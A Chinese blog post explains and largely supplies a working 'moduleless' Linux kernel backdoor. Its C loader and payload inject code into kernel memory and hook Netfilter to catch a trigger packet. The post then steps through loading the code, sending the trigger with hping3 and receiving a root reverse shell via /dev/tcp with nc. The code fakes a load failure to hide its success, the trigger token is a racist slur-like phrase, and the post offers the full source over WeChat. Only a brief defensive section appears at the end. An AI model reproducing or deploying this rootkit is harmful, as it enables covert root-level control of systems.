隐形的内核后门:无模块Linux内核植入技术详解

在聊具体技术之前,我们先搞清楚核心概念------所谓"无Linux内核模块植入后门",本质上是一种绕开常规内核模块加载流程的恶意技术,和传统内核后门有着本质区别。

传统的Linux内核后门,大多会打包成.ko格式的内核模块文件,通过insmodmodprobe等系统命令加载到内核中运行。这种方式的痕迹很明显,会在/proc/modules(内核模块列表)、/sys/module/(模块文件目录)中留下清晰记录,很容易被安全工具检测到。

而无模块内核植入后门,完全抛弃了.ko模块载体,直接将恶意代码注入到内核的运行内存空间中并执行。它不会在系统的模块相关目录和文件中留下任何痕迹,也不需要依赖常规的模块加载命令,就像"隐形人"一样驻留在内核空间,实现长期控制、信息窃取等恶意功能,隐蔽性拉满,是目前高级持续性威胁(APT)中常用的攻击手段之一。

这类后门的核心目的很明确:一是长期驻留 ,利用内核空间的高权限和稳定性,避免被用户态的安全软件清理;二是隐蔽控制 ,通过触发式执行(比如特定网络指令、特定文件操作)实现远程控制,同时规避常规检测;三是跨版本适配,通过动态适配不同内核版本的API,扩大攻击覆盖范围。

一、核心设计思路与简易执行流程

(一)整体设计思路

无模块内核植入后门的设计核心可以总结为"先搭桥、再驻留、后触发、清痕迹":

  1. 搭桥:先找到内核的"资源索引"(符号查找函数),通过它定位内核中的关键API(内存分配、网络处理、用户态调用等),为恶意代码运行铺路;
  2. 驻留:在核内存中分配可执行内存区域,将恶意载荷拷贝进去并赋予执行权限,同时通过内核原生框架(如Netfilter)注册钩子,实现恶意代码的长期驻留;
  3. 触发:设置隐蔽的触发条件(如特定网络标识、特定系统调用),只有满足条件时才执行核心恶意功能(如反弹shell);
  4. 清痕迹:执行完恶意功能后,及时释放临时占用的内核内存,避免内存泄露暴露踪迹,同时伪装执行结果,规避系统日志监控。

(二)简易流程原理图(文字版)

复制代码
第一步:内核符号查找准备
    ↓(获取符号查找函数,作为工具索引)
第二步:关键内核API寻址
    ↓(找到内存分配、钩子注册、用户态调用等核心函数)
第三步:恶意载荷内存分配与权限设置
    ↓(分配内核可写内存→拷贝恶意代码→设置可执行权限,规避W^X保护)
第四步:Netfilter网络钩子注册
    ↓(将自定义钩子挂载到内核网络处理流程,最高优先级监控)
第五步:网络数据包与触发条件检测
    ↓(监控进入本机的IPv4数据包,查找预设"暗号"TOKEN)
第六步:后门功能执行与内存清理
    ↓(找到暗号后反弹shell→执行完毕释放临时内存→伪装执行结果)

二、代码实现原理深度解读

c 复制代码
...
static typeof(printk) *p_printk = NULL;
static typeof(lookup_name) *p_lookup_name = NULL;
static typeof(kmalloc) *p_kmalloc = NULL;
static typeof(kfree) *p_kfree = NULL;
static typeof(memcmp) *p_memcmp = NULL;
static typeof(call_usermodehelper) *p_call_umh = NULL;
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 13, 0)
static typeof(nf_register_hooks) *p_nf_register_hooks = NULL;
#else
static typeof(nf_register_net_hooks) *p_nf_register_net_hooks = NULL;
#endif
static typeof(execute_in_process_context) *p_execute_in_process_context = NULL;

////////////////////////////////////////////////////////////////////////////////

static inline void *memmem(const void *h, size_t hlen, const void *n, size_t nlen) {
	if (!h || !hlen || !n || !nlen || (nlen > hlen))
		return NULL;

	while (hlen >= nlen) {
		if (!p_memcmp(h, n, nlen))
			return (void *)h;
		h++, hlen--;
	}

	return NULL;
}

static void delayed_work(struct work_struct *ws) {
	char *envp[2] = { "HOME=/proc", NULL };
	char *argv[4] = { "/bin/sh", "-c", SHCMD, NULL };
	p_call_umh(argv[0], argv, envp, UMH_WAIT_EXEC);
	p_kfree(container_of(ws, struct execute_work, work));
}

static void try_skb(struct sk_buff *skb) {
	if (memmem(skb->data, skb_headlen(skb), TOKEN, sizeof(TOKEN) - 1)) {
		struct execute_work *ws = p_kmalloc(sizeof(struct execute_work), GFP_ATOMIC);
		if (ws) p_execute_in_process_context(delayed_work, ws);
	}
}

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 1, 0)
static unsigned int custom_local_in(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) {
	if (skb) try_skb(skb);
	return NF_ACCEPT;
}
#else
static unsigned int custom_local_in(void *arg, struct sk_buff *skb, const struct nf_hook_state *state) {
	if (skb) try_skb(skb);
	return NF_ACCEPT;
}
#endif

static struct nf_hook_ops nf_ops[] = {
	[0] = {
		.hook = (nf_hookfn *)NULL,
		.pf = NFPROTO_IPV4,
		.hooknum = NF_INET_LOCAL_IN,
		.priority = NF_IP_PRI_FIRST,
	},
};

long __attribute__((used, section(".text.entry"))) entry(const typeof(lookup_name) *lookup, void *net) {
...

	p_call_umh = (void *)lookup("call_usermodehelper");
	if (!p_call_umh) {
		p_printk("no call_usermodehelper found\n");
		return -EINVAL;
	}

	p_kmalloc = (void *)lookup("__kmalloc");
	if (!p_kmalloc) {
		p_printk("no __kmalloc found\n");
		return -EINVAL;
	}

	p_kfree = (void *)lookup("kfree");
	if (!p_kfree) {
		p_printk("no kfree found\n");
		return -EINVAL;
	}

	p_memcmp = (void *)lookup("memcmp");
	if (!p_memcmp) {
		p_printk("no memcmp found\n");
		return -EINVAL;
	}

	p_execute_in_process_context = (void *)lookup("execute_in_process_context");
	if (!p_execute_in_process_context) {
		p_printk("no execute_in_process_context found\n");
		return -EINVAL;
	}

#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 13, 0)
	p_nf_register_hooks = (void *)lookup("nf_register_hooks");
	if (!p_nf_register_hooks) {
		p_printk("no nf_register_hooks found\n");
		return -EINVAL;
	}
#else
	p_nf_register_net_hooks = (void *)lookup("nf_register_net_hooks");
	if (!p_nf_register_net_hooks) {
		p_printk("no nf_register_net_hooks found\n");
		return -EINVAL;
	}
#endif

	init_nf_hooks(net);

...

	return 0;
}

...
unsigned long lookup_name(const char *name) {
	static typeof(lookup_name) *lookup = (void *)kallsyms_lookup_name;
	if (NULL == lookup)
		lookup = (void *)lookupName;
	return lookup ? lookup(name) : 0;
}

int init_module(void) {
	void *mem = NULL;
	void *(*malloc)(long size) = NULL;
	int   (*set_memory_x)(unsigned long, int) = NULL;

	malloc = (void *)lookup_name("module_alloc");
	if (!malloc) {
		pr_debug("module_alloc() not found\n");
		goto Error;
	}

	mem = malloc(round_up(payload_len, PAGE_SIZE));
	if (!mem) {
		pr_debug("malloc(payload_len) failed\n");
		goto Error;
	}

	set_memory_x = (void *)lookup_name("set_memory_x");
	if (set_memory_x) {
		int numpages = round_up(payload_len, PAGE_SIZE) / PAGE_SIZE;
		set_memory_x((unsigned long)mem, numpages);
	}

	print_hex_dump_bytes("payload@", DUMP_PREFIX_OFFSET, payload, payload_len);

	memcpy(mem, payload, payload_len);
	if (0 == ((long (*)(void *, void *))mem)(lookup_name, &init_net))
		return -ENOTTY; // success

Error:
	if (mem) vfree(mem);
	return -EINVAL; // failure
}
...

If you need the complete source code, please add the WeChat number (c17865354792)

提供的代码分为两个核心部分:加载器代码 (负责注入恶意载荷)和恶意载荷代码(负责实现后门功能),我们分别用大白话拆解。

(一)加载器代码:恶意载荷的"隐形启动器"

加载器的作用就像"搭桥人",它不直接执行恶意功能,而是为恶意载荷找到内核中的"落脚点"并启动它,核心步骤如下:

  1. 符号查找函数初始化:找"工具索引"

    代码中的lookup_name函数是核心中的核心,它先尝试调用内核自带的kallsyms_lookup_name(内核符号查找工具,能通过函数名找到对应内存地址)。如果这个工具不可用(比如内核关闭了kallsyms功能),就使用模块参数lookupName手动传入的符号查找地址。

    大白话解释:这就像你要修东西,先找一本"工具目录",要么用系统自带的目录,要么用别人给你的手动目录,只有拿到目录,才能找到对应的工具。

  2. 分配内核内存:给恶意代码找"住处"

    代码通过lookup_name找到module_alloc(内核模块专用内存分配函数),用它为恶意载荷分配内存。这里有个细节:用round_up(payload_len, PAGE_SIZE)将内存大小按页面大小对齐,因为Linux内核是按"内存页"(通常4KB)来管理内存的,必须按这个规矩分配,否则内核会拒绝。

    大白话解释:恶意代码不能随便放在内核内存里,得找一块内核认可的"合法住处",而且要按内核的户型(页面大小)来选房。

  3. 设置可执行权限:给"住处"开"运行许可"

    现代Linux内核有W^X保护机制(写权限和执行权限不能同时存在,防止恶意代码注入),代码先通过module_alloc分配可写内存(拷贝恶意代码需要写权限),拷贝完成后,再通过set_memory_x函数给内存设置可执行权限,同时计算需要设置的页面数量(numpages)。

    大白话解释:恶意代码要运行,必须给它的住处开"运行许可证",但内核不让同时拥有"写入权"和"运行权",所以先写代码,再开运行许可,钻了机制的空子。

  4. 拷贝并执行载荷:启动恶意代码并伪装痕迹

    memcpy将恶意载荷拷贝到分配好的内存中,然后直接把这块内存当作函数来调用(传入符号查找函数和默认网络命名空间init_net)。这里有个隐蔽性设计:如果执行成功,反而返回-ENOTTY(非0值,伪装成执行失败),只有执行失败时才返回-EINVAL,这样不会被系统日志标记为"异常成功",更难被发现。如果执行失败,会用vfree释放内存,避免留下痕迹。

    大白话解释:把恶意代码搬到它的住处,然后偷偷启动它,启动成功了还假装"我失败了",不让系统察觉;如果真的启动失败,就把住处清理干净,不留一点痕迹。

(二)恶意载荷代码:后门功能的"实际执行者"

这部分是后门的核心,负责实现监控、触发、控制等功能,核心步骤如下:

  1. 内核API动态映射:绑定内核"工具"

    代码先定义了一堆函数指针(p_printkp_kmallocp_call_umh等),然后在entry入口函数中,通过传入的符号查找函数,逐个查找这些内核API的地址并赋值给函数指针。同时做了容错处理:如果某个关键API(比如call_usermodehelper__kmalloc)找不到,就打印错误日志并退出,避免因缺少工具导致内核崩溃(暴露踪迹)。

    大白话解释:恶意代码要在核内运行,需要调用内核的各种工具(比如打印日志、分配内存、调用用户态程序),这一步就是通过"工具目录"找到这些工具,然后绑定到自己能用的"快捷方式"上,找不到关键工具就干脆不继续,避免暴露。

  2. 自定义memmem函数:做"暗号检测器"

    代码实现了一个简易的memmem函数,作用是在网络数据包的数据中,查找是否存在预设的"暗号"(TOKEN常量,也就是black-wives-are-fatter)。它的原理很简单:逐字节对比数据包数据和暗号,如果找到完全匹配的字符串就返回地址,否则返回NULL,相当于一个专用的"暗号识别器"。

    大白话解释:后门不会一直执行恶意功能,只有收到"暗号"才会触发,这个函数就是用来在网络数据包里找暗号的,找不到就啥也不干,更隐蔽。

  3. Netfilter钩子实现:装"网络监控探头"

    代码根据内核版本差异,实现了不同的custom_local_in钩子函数(内核4.1版本前后,Netfilter钩子接口参数不同)。这个钩子绑定到NF_INET_LOCAL_IN(进入本机的IPv4数据包钩子点),优先级设为NF_IP_PRI_FIRST(最高优先级),确保所有发到本机的网络数据包,都会先经过这个钩子处理。钩子函数的逻辑很简单:如果数据包不为空,就调用try_skb函数,让"暗号检测器"检查数据包。

    大白话解释:给内核的网络处理流程装一个"监控摄像头",所有发到本机的网络数据,都要先经过这个摄像头拍一下,摄像头再把数据交给"暗号检测器"检查。

  4. 后门触发与执行:执行核心恶意功能

    • try_skb函数:如果memmem找到了"暗号",就用p_kmalloc分配一个execute_work(工作队列结构体),然后调用p_execute_in_process_context,把delayed_work函数放到进程上下文中执行(避免内核上下文冲突导致崩溃)。
    • delayed_work函数:这是后门的核心功能实现,它构造了反弹shell命令(SHCMD常量,bash -i >& /dev/tcp/127.0.0.1/6666 0>&1),通过p_call_umh(内核调用用户态程序的核心API)调用/bin/sh执行这个命令,将系统shell反弹到指定IP和端口(这里是本地127.0.0.1:6666)。执行完后,用p_kfree释放之前分配的execute_work内存,避免内存泄露暴露踪迹。
      大白话解释:一旦检测器找到了暗号,就启动反弹shell功能,先申请一块临时内存存任务信息,然后让内核在安全的环境中执行反弹shell命令,执行完后立刻释放临时内存,不留一点痕迹。
  5. 钩子注册与入口初始化:完成后门驻留

    • init_nf_hooks函数:根据内核版本,调用不同的钩子注册函数(nf_register_hooksnf_register_net_hooks),将自定义钩子正式挂载到Netfilter框架中,实现长期驻留。
    • entry函数:作为恶意载荷的入口,先完成所有API的查找和校验,校验通过后注册钩子,最后打印一句无关紧要的日志(伪装成正常内核代码),返回0表示执行成功,至此后门完成驻留,等待触发条件。
      大白话解释:把"监控摄像头"正式安装到内核里,然后打印一句废话日志假装自己是正常代码,最后安静等待有人发送"暗号",触发反弹shell。

三、相关领域核心知识点总结

这款无模块内核后门的实现,用到了多个Linux内核核心领域的知识点,我们提炼出关键要点,方便理解:

1. 内核符号查找机制(核心基础)

  • 核心知识点:kallsyms_lookup_name是Linux内核默认的符号查找函数,作用是通过函数名(字符串)查找内核函数的物理内存地址,是无模块植入的"基石"。
  • 实际应用:当内核关闭kallsyms功能(提高安全性)时,可通过手动传入符号地址(lookupName模块参数)替代,实现跨内核版本适配。
  • 所属领域:Linux内核调试、内核符号表管理。

2. Netfilter网络框架(驻留核心)

  • 核心知识点:Netfilter是Linux内核网络数据包处理的核心框架,提供了5个关键钩子点(NF_INET_PRE_ROUTINGNF_INET_LOCAL_IN等),允许自定义函数拦截、修改、丢弃网络数据包,iptables防火墙就是基于这个框架实现的。
  • 实际应用:本文中利用NF_INET_LOCAL_IN钩子点(监控进入本机的数据包),实现后门触发条件检测,由于是复用内核原生框架,难以被安全工具识别。
  • 所属领域:Linux内核网络协议栈、防火墙底层实现。

3. 内核内存管理与保护机制(安全绕开)

  • 核心知识点:① 内核内存按"页面"管理,module_alloc是内核模块专用内存分配函数;② 现代内核有W^X保护(写权限与执行权限互斥)、不可执行内存等安全机制,防止恶意代码注入。
  • 实际应用:代码中先分配可写内存→拷贝恶意载荷→设置可执行权限,绕开W^X保护;同时及时用kfree/vfree释放内存,避免内存泄露暴露踪迹。
  • 所属领域:Linux内核内存管理、系统安全防护(内存保护)。

4. 内核版本兼容性处理(扩大攻击范围)

  • 核心知识点:不同Linux内核版本的API接口存在差异(如Netfilter钩子注册函数、钩子参数格式),直接硬编码调用会导致兼容性问题。
  • 实际应用:代码通过LINUX_VERSION_CODE宏判断内核版本,分别实现不同的函数调用和接口适配,让恶意载荷能在多个内核版本上运行。
  • 所属领域:Linux内核版本迭代、跨版本兼容性开发。

5. 内核态到用户态的调用机制(功能延伸)

  • 核心知识点:call_usermodehelper是内核态调用用户态程序的核心API,能在内核空间中启动用户态进程(如/bin/sh/bin/ls),并传递命令参数。
  • 实际应用:本文中通过该API执行反弹shell命令,实现内核后门向用户态的功能延伸,获取系统完整控制权。
  • 所属领域:Linux内核与用户态通信、进程管理。

6. 隐蔽性设计技巧(对抗检测)

  • 核心知识点:无模块后门的核心优势是隐蔽性,代码中多处体现对抗检测的设计:
    ① 不加载.ko模块,不在/proc/modules留下记录;
    ② 执行成功后伪装返回失败(-ENOTTY),规避系统日志监控;
    ③ 及时释放内核内存,避免内存泄露暴露踪迹;
    ④ 复用Netfilter原生框架,伪装成正常网络处理逻辑。
  • 所属领域:恶意代码对抗、主机安全检测与防御。

四、简单测试步骤

工具说明:

  • make/gcc/linux-headers:用于编译内核模块(backdoor.ko)
  • hping3:用于发送带"后门暗号"的网络数据包
  • netcat/nc:用于监听端口,接收后门反弹的shell连接
第一步:编译内核模块
  1. 进入backdoor的代码目录(你要先把代码下载到本地,进入对应的文件夹)

  2. 执行编译命令,直接在终端输入:

    bash 复制代码
    make
  3. 编译成功后,目录下会生成 backdoor.ko 文件(如果编译报错,大概率是缺少内核头文件,回头重新安装上面的依赖即可)

第二步:加载"隐形"模块(关键:解决你的insmod报错)

你遇到的 insmod: ERROR: could not insert module backdoor.ko: Inappropriate ioctl for device 不是真的失败,是后门的隐蔽性设计!

对应之前文章里的原理:这款无模块后门故意在加载成功后返回 -ENOTTY 错误码,伪装成"加载失败",避免被管理员察觉。具体操作:

  1. 执行加载命令(必须用sudo,需要内核权限):

    bash 复制代码
    sudo insmod backdoor.ko
  2. 此时会弹出你遇到的报错信息,不用管它,这是正常现象

  3. 验证"隐形"效果:执行下面两个命令,都查不到backdoor模块(这就是它和传统内核模块的区别,不留痕迹)

    bash 复制代码
    lsmod | grep backdoor# 无输出
    cat /proc/modules | grep backdoor# 无输出
第三步:启动端口监听(接收反弹Shell)

后门的核心功能是反弹shell到 127.0.0.1:6666(对应代码里的 SHCMD 常量),我们需要先启动监听,等待后门连接:

  1. 打开一个新的终端窗口(不要关闭之前的终端,保持独立窗口)

  2. 在新终端执行监听命令:

    bash 复制代码
    nc -l 6666
  3. 执行后终端会处于"卡住"的状态,这是正常的,说明正在监听6666端口,等待后门触发

第四步:触发后门(发送带"暗号"的ICMP数据包)

我们需要用hping3发送包含预设"后门暗号"(black-wives-are-fatter,对应代码里的 TOKEN 常量)的ICMP数据包(类似ping包),触发后门执行:

  1. 回到原来的终端窗口(或再开一个新终端)

  2. 直接执行下面的触发命令(参数含义大白话解释在后面,不用死记):

    bash 复制代码
    sudo hping3 -c 1 -j -1 -e black-wives-are-fatter 127.0.0.1
  3. 命令执行后,会有少量输出,无需关注,只要没有报错即可

补充:hping3命令参数大白话解释
  • -c 1:只发送1个数据包(够触发后门就行,多了没用)
  • -j:关闭数据包的校验和(简化发送,不影响触发)
  • -1:指定发送ICMP数据包(和ping命令的数据包类型一样)
  • -e black-wives-are-fatter:核心参数!把"后门暗号"写入数据包的选项字段,对应代码里 memmem 函数要查找的内容
  • 127.0.0.1:发送给本地主机(后门监控的是本机的网络数据包)
第五步:验证后门触发成功
  1. 切换到你之前启动 nc -l 6666 的终端窗口

  2. 此时原本"卡住"的终端会出现shell提示符(比如 #$),说明已经成功接收后门反弹的shell

  3. 你可以执行简单的系统命令验证,比如:

    bash 复制代码
    ls  # 查看当前目录文件
    whoami  # 会显示root(因为后门是内核权限,反弹的shell也是root权限)
    pwd  # 查看当前路径

    能正常执行命令,就说明测试成功!

重要:测试完成后清理后门

由于这是"无模块"后门,无法用 rmmod backdoor 命令卸载(根本查不到模块),最简单的清理方式是:

bash 复制代码
sudo reboot

重启系统后,内核内存中的后门代码会被清空,恢复正常系统状态(新手优先用这种方式,简单无残留)

测试注意事项
  1. 内核版本兼容:代码对Linux 4.1之前、4.1~4.13、4.13之后的内核做了适配,若你的内核版本过新(比如5.10以上),可能出现编译失败或触发无响应,属于正常现象
  2. 权限问题:所有操作必须加 sudo,没有root权限无法加载内核模块、发送ICMP数据包
  3. 安全警示:仅限自己的测试虚拟机中操作,严禁在生产环境、他人设备上使用,违反法律法规需承担相应责任
  4. 防火墙影响:若本地开启了防火墙(ufw/iptables),可能拦截ICMP数据包或6666端口,测试前可临时关闭防火墙(sudo ufw disable

五、总结与安全警示

(一)技术总结

无模块Linux内核植入后门,本质上是对Linux内核原生机制的"恶意复用":它通过符号查找获取内核资源,通过Netfilter实现长期驻留,通过内存权限绕开安全保护,通过触发式执行实现隐蔽控制,最终达到长期控制目标系统的目的。这种技术的核心优势是隐蔽性强适配性好难以检测,是目前高级攻击中极具威胁的手段。

(二)安全警示

对于企业和运维人员来说,针对这类无模块内核后门,可采取以下防护和检测措施:

  1. 前置防护 :① 关闭不必要的内核功能(如kallsyms),减少内核资源暴露;② 限制模块加载权限(禁止普通用户执行insmod/modprobe);③ 及时更新内核补丁,修复内核漏洞;④ 采用最小权限原则配置系统,降低攻击影响范围。
  2. 事后检测 :① 监控异常内核函数调用(如call_usermodehelper异常调用/bin/sh);② 监控异常网络连接(如不明IP的反弹shell端口连接);③ 监控内核内存可执行区域变化,发现异常注入痕迹;④ 使用主机入侵检测系统(HIDS),监控内核行为异常。

最后需要说明的是,这类技术本身是中性的:它既可以被恶意攻击者利用实施破坏,也可以被安全研究人员用于漏洞挖掘、防御技术研发。关键在于使用者的立场和场景,而了解其实现原理,是构建有效防御体系的前提。

Welcome to follow WeChat official account【程序猿编码

相关推荐
pengdott12 小时前
Linux进程数据结构与组织方式深度解析
linux·运维·服务器
Java 码农12 小时前
gitlab gitrunner springboot 多环境多分支部署 (非容器方式,使用原生linux 环境)
linux·spring boot·gitlab
LongQ30ZZ12 小时前
Linux的常见指令
linux·服务器
走向IT12 小时前
vdbench在Centos系统上联机测试环境搭建
linux·运维·centos
JAY_LIN——812 小时前
C语言内存函数memcpy、memmove、menset、mencmp
c语言·开发语言
松涛和鸣12 小时前
DAY47 FrameBuffer
c语言·数据库·单片机·sqlite·html
阳宗德12 小时前
基于CentOS Linux release 7.1实现了Oracle Database 11g R2 企业版容器化运行
linux·数据库·docker·oracle·centos
liulilittle12 小时前
libxdp: No bpffs found at /sys/fs/bpf
linux·运维·服务器·开发语言·c++
Byte Beat12 小时前
ubuntu安装docker
linux·ubuntu·docker
HIT_Weston12 小时前
88、【Ubuntu】【Hugo】搭建私人博客:侧边导航栏(二)
linux·运维·ubuntu